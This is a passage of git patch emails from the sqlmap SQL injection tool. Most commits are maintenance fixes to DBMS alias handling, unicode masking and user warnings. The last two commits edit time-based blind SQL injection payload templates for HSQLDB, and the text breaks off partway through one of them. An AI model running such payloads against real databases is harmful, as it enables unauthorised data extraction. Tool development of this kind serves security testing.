From 03c8e7b7a2581a7642d2d6eba3315d30577e35b0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Aug 2014 17:13:02 +0200 Subject: [PATCH 001/492] Patch for an Issue #810 --- lib/core/common.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 245763b9b..70768bcea 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2841,10 +2841,10 @@ def maskSensitiveData(msg): Masks sensitive data in the supplied message """ - retVal = msg + retVal = getUnicode(msg) for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy"))): - regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", item) + regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item)) while extractRegexResult(regex, retVal): value = extractRegexResult(regex, retVal) retVal = retVal.replace(value, '*' * len(value)) From e501b2a80b253dbecc57b6be694224685b87cc7d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Aug 2014 20:58:15 +0200 Subject: [PATCH 002/492] Minor patch --- lib/core/common.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/lib/core/common.py b/lib/core/common.py index 70768bcea..573d28bac 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -576,6 +576,11 @@ def paramToDict(place, parameters=None): test = readInput(message, default="N") if test[0] not in ("y", "Y"): raise SqlmapSilentQuitException + elif not _: + warnMsg = "provided value for parameter '%s' is empty. " % parameter + warnMsg += "Please, always use only valid parameter values " + warnMsg += "so sqlmap could be able to run properly" + logger.warn(warnMsg) if conf.testParameter and not testableParameters: paramStr = ", ".join(test for test in conf.testParameter) From 1a9a331422b6e505332111a2070bf48869dab43b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Aug 2014 21:34:23 +0200 Subject: [PATCH 003/492] Bug fix (proper extending of tests when dbms is known) --- lib/controller/checks.py | 4 ++++ lib/core/option.py | 17 +++-------------- lib/core/settings.py | 2 ++ 3 files changed, 9 insertions(+), 14 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 5c241b8b2..b4df11117 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -106,6 +106,10 @@ def checkSqlInjection(place, parameter, value): msg = "do you want to include all tests for '%s' " % _ msg += "extending provided level (%d) and risk (%s)? [Y/n]" % (conf.level, conf.risk) kb.extendTests = [] if readInput(msg, default='Y').upper() != 'Y' else (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) + elif kb.extendTests is None: + msg = "do you want to include all tests for '%s' " % conf.dbms + msg += "extending provided level (%d) and risk (%s)? [Y/n]" % (conf.level, conf.risk) + kb.extendTests = [] if readInput(msg, default='Y').upper() != 'Y' else ([conf.dbms]) title = test.title stype = test.stype diff --git a/lib/core/option.py b/lib/core/option.py index 9e9c94715..a9af310d4 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -93,38 +93,29 @@ from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.exception import SqlmapUserQuitException from lib.core.log import FORMATTER from lib.core.optiondict import optDict -from lib.core.settings import ACCESS_ALIASES from lib.core.settings import BURP_REQUEST_REGEX from lib.core.settings import BURP_XML_HISTORY_REGEX from lib.core.settings import CODECS_LIST_PAGE from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR -from lib.core.settings import DB2_ALIASES +from lib.core.settings import DBMS_ALIASES from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORT from lib.core.settings import DUMMY_URL -from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import INJECT_HERE_MARK from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR from lib.core.settings import LOCALHOST -from lib.core.settings import MAXDB_ALIASES from lib.core.settings import MAX_CONNECT_RETRIES from lib.core.settings import MAX_NUMBER_OF_THREADS -from lib.core.settings import MSSQL_ALIASES -from lib.core.settings import MYSQL_ALIASES from lib.core.settings import NULL -from lib.core.settings import ORACLE_ALIASES from lib.core.settings import PARAMETER_SPLITTING_REGEX -from lib.core.settings import PGSQL_ALIASES from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import SITE -from lib.core.settings import SQLITE_ALIASES from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_OS -from lib.core.settings import SYBASE_ALIASES from lib.core.settings import TIME_DELAY_CANDIDATES from lib.core.settings import UNION_CHAR_REGEX from lib.core.settings import UNKNOWN_DBMS_VERSION @@ -890,11 +881,9 @@ def _setDBMS(): errMsg += "it and sqlmap will fingerprint it for you." raise SqlmapUnsupportedDBMSException(errMsg) - for aliases in (MSSQL_ALIASES, MYSQL_ALIASES, PGSQL_ALIASES, ORACLE_ALIASES, \ - SQLITE_ALIASES, ACCESS_ALIASES, FIREBIRD_ALIASES, \ - MAXDB_ALIASES, SYBASE_ALIASES, DB2_ALIASES): + for dbms, aliases in DBMS_ALIASES: if conf.dbms in aliases: - conf.dbms = aliases[0] + conf.dbms = dbms break diff --git a/lib/core/settings.py b/lib/core/settings.py index 4f1e23616..4a3b8eb7a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -201,6 +201,8 @@ DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) f SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES SUPPORTED_OS = ("linux", "windows") +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES)) + USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) From 177fc0376d38a962ad74f64f9d02a739b5db9fc4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Aug 2014 21:37:38 +0200 Subject: [PATCH 004/492] Minor fix for HSQLDB --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4a3b8eb7a..aaca12a20 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -201,7 +201,7 @@ DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) f SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") From dc2ee8bfa0706618e7b8837282adc51d785ca3df Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Aug 2014 21:53:09 +0200 Subject: [PATCH 005/492] Minor update --- lib/controller/handler.py | 8 ++++---- plugins/dbms/access/fingerprint.py | 2 +- plugins/dbms/db2/fingerprint.py | 2 +- plugins/dbms/firebird/fingerprint.py | 2 +- plugins/dbms/hsqldb/fingerprint.py | 2 +- plugins/dbms/maxdb/fingerprint.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- plugins/dbms/oracle/fingerprint.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 2 +- plugins/dbms/sqlite/fingerprint.py | 2 +- plugins/dbms/sybase/fingerprint.py | 2 +- 12 files changed, 15 insertions(+), 15 deletions(-) diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 38fece4ca..702215e7c 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -71,9 +71,9 @@ def setHandler(): items.remove(_) items.insert(0, _) - for name, aliases, Handler, Connector in items: - if conf.dbms and conf.dbms not in aliases: - debugMsg = "skipping test for %s" % name + for dbms, aliases, Handler, Connector in items: + if conf.dbms and conf.dbms.lower() != dbms.lower(): + debugMsg = "skipping test for %s" % dbms logger.debug(debugMsg) continue @@ -84,7 +84,7 @@ def setHandler(): logger.debug("forcing timeout to 10 seconds") conf.timeout = 10 - dialect = DBMS_DICT[name][3] + dialect = DBMS_DICT[dbms][3] if dialect: sqlalchemy = SQLAlchemy(dialect=dialect) diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 4b1244d0b..eecaf728b 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -146,7 +146,7 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(ACCESS_ALIASES) or conf.dbms in ACCESS_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(ACCESS_ALIASES) or (conf.dbms or "").lower() in ACCESS_ALIASES): setDbms(DBMS.ACCESS) return True diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 59eba684c..ea467c076 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -81,7 +81,7 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or conf.dbms in DB2_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or (conf.dbms or "").lower() in DB2_ALIASES): setDbms(DBMS.DB2) return True diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 9c22a4708..4973e56e4 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -104,7 +104,7 @@ class Fingerprint(GenericFingerprint): def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \ - or conf.dbms in FIREBIRD_ALIASES) and Backend.getVersion() and \ + or (conf.dbms or "").lower() in FIREBIRD_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 1b58fc356..3d082c52a 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -81,7 +81,7 @@ class Fingerprint(GenericFingerprint): """ if not conf.extensiveFp and (Backend.isDbmsWithin(HSQLDB_ALIASES) \ - or conf.dbms in HSQLDB_ALIASES) and Backend.getVersion() and \ + or (conf.dbms or "").lower() in HSQLDB_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 60a391448..be64c61b5 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -91,7 +91,7 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or (conf.dbms or "").lower() in MAXDB_ALIASES): setDbms(DBMS.MAXDB) self.getBanner() diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 90fffb160..33a7f5de8 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -66,7 +66,7 @@ class Fingerprint(GenericFingerprint): def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \ - or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and \ + or (conf.dbms or "").lower() in MSSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 6343ada1f..9c87d62c0 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -143,7 +143,7 @@ class Fingerprint(GenericFingerprint): """ if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \ - or conf.dbms in MYSQL_ALIASES) and Backend.getVersion() and \ + or (conf.dbms or "").lower() in MYSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index fd7e4c452..404bbbb6d 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -58,7 +58,7 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES) or conf.dbms in ORACLE_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES) or (conf.dbms or "").lower() in ORACLE_ALIASES): setDbms(DBMS.ORACLE) self.getBanner() diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 0ae590382..a9f754df1 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -63,7 +63,7 @@ class Fingerprint(GenericFingerprint): * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3) """ - if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES) or (conf.dbms or "").lower() in PGSQL_ALIASES): setDbms(DBMS.PGSQL) self.getBanner() diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index dd1b7e56b..41b2db01a 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -64,7 +64,7 @@ class Fingerprint(GenericFingerprint): * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions """ - if not conf.extensiveFp and (Backend.isDbmsWithin(SQLITE_ALIASES) or conf.dbms in SQLITE_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(SQLITE_ALIASES) or (conf.dbms or "").lower() in SQLITE_ALIASES): setDbms(DBMS.SQLITE) self.getBanner() diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 19334526a..b072a3ace 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -59,7 +59,7 @@ class Fingerprint(GenericFingerprint): def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \ - or conf.dbms in SYBASE_ALIASES) and Backend.getVersion() and \ + or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) From 20ff402103ec0af1a29471c3729c4e1d7453cde0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Aug 2014 22:04:55 +0200 Subject: [PATCH 006/492] Minor patch --- lib/controller/checks.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index b4df11117..d6a403afc 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -106,7 +106,7 @@ def checkSqlInjection(place, parameter, value): msg = "do you want to include all tests for '%s' " % _ msg += "extending provided level (%d) and risk (%s)? [Y/n]" % (conf.level, conf.risk) kb.extendTests = [] if readInput(msg, default='Y').upper() != 'Y' else (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) - elif kb.extendTests is None: + elif kb.extendTests is None and conf.level < 5 and conf.risk < 3: msg = "do you want to include all tests for '%s' " % conf.dbms msg += "extending provided level (%d) and risk (%s)? [Y/n]" % (conf.level, conf.risk) kb.extendTests = [] if readInput(msg, default='Y').upper() != 'Y' else ([conf.dbms]) From d5d01e91ad9d3a9b2976bdbac04aeeb557bc1f3c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Aug 2014 22:15:14 +0200 Subject: [PATCH 007/492] Warning message --- lib/core/target.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/lib/core/target.py b/lib/core/target.py index 6ed69acba..82570db34 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -115,6 +115,12 @@ def _setRequestParams(): else: kb.processUserMarks = not test or test[0] not in ("n", "N") + if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in conf.data: + warnMsg = "it seems that you've provided empty parameter value(s) " + warnMsg += "for testing. Please, always use only valid parameter values " + warnMsg += "so sqlmap could be able to run properly" + logger.warn(warnMsg) + if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data): if re.search(JSON_RECOGNITION_REGEX, conf.data): message = "JSON data found in %s data. " % conf.method @@ -210,6 +216,12 @@ def _setRequestParams(): else: kb.processUserMarks = not test or test[0] not in ("n", "N") + if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in _: + warnMsg = "it seems that you've provided empty parameter value(s) " + warnMsg += "for testing. Please, always use only valid parameter values " + warnMsg += "so sqlmap could be able to run properly" + logger.warn(warnMsg) + if not kb.processUserMarks: if place == PLACE.URI: query = urlparse.urlsplit(value).query From 25c6fca20ea3838cc7f3039d4d9f976ac73e1709 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 1 Sep 2014 15:48:00 +0200 Subject: [PATCH 008/492] Minor fix --- lib/core/option.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index a9af310d4..6c8c30675 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1501,8 +1501,8 @@ def _cleanupOptions(): conf.dbms = conf.dbms.capitalize() if conf.testFilter: - if not any([char in conf.testFilter for char in ('.', ')', '(', ']', '[')]): - conf.testFilter = conf.testFilter.replace('*', '.*') + conf.testFilter = conf.testFilter.strip('*+') + conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter) if "timeSec" not in kb.explicitSettings: if conf.tor: From 7e40890f321ed8a14846fff1da19a3686614d336 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 1 Sep 2014 16:16:12 +0200 Subject: [PATCH 009/492] Patch for an Issue #815 --- lib/core/target.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/target.py b/lib/core/target.py index 82570db34..8f0be26ac 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -556,7 +556,7 @@ def _createTargetDirs(): f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname) f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET)) if conf.data: - f.write("\n\n%s" % conf.data) + f.write("\n\n%s" % getUnicode(conf.data)) except IOError, ex: if "denied" in str(ex): errMsg = "you don't have enough permissions " From 1478c206f1f5ddddf64460e3be52e89e80faf06d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Sep 2014 21:27:02 +0200 Subject: [PATCH 010/492] Trivial update --- xml/payloads.xml | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index c39d71ede..d3bdc7419 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -2335,9 +2335,9 @@ Formats: 0 0 1 - ;CALL CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) END + ;CALL CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) END - ;CALL REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) + ;CALL REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) -- @@ -2864,9 +2864,9 @@ Formats: 2 1,2,3 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END - AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) + AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) @@ -2884,9 +2884,9 @@ Formats: 2 1,2,3 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END - AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) + AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) -- @@ -3165,9 +3165,9 @@ Formats: 2 1,2,3 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END - OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) + OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) @@ -3185,9 +3185,9 @@ Formats: 2 1,2,3 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END - OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) + OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) -- @@ -3544,9 +3544,9 @@ Formats: 2 1,2,3 1 - (SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + (SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) @@ -3765,9 +3765,9 @@ Formats: 2 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) From af21fc513d3fa5736dfbecb618a768c12dad4b2a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Sep 2014 21:39:38 +0200 Subject: [PATCH 011/492] Bug fix for HSQLDB (some queries were runnable on MySQL) --- xml/payloads.xml | 56 ++++++++++++++++++++++++------------------------ 1 file changed, 28 insertions(+), 28 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index d3bdc7419..8367359bf 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -2314,9 +2314,9 @@ Formats: 0 0 1 - ;CALL CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) END + ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END - ;CALL REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) + ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) -- @@ -2335,9 +2335,9 @@ Formats: 0 0 1 - ;CALL CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) END + ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END - ;CALL REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) + ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) -- @@ -2823,9 +2823,9 @@ Formats: 2 1,2,3 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END - AND '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) @@ -2843,9 +2843,9 @@ Formats: 2 1,2,3 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN 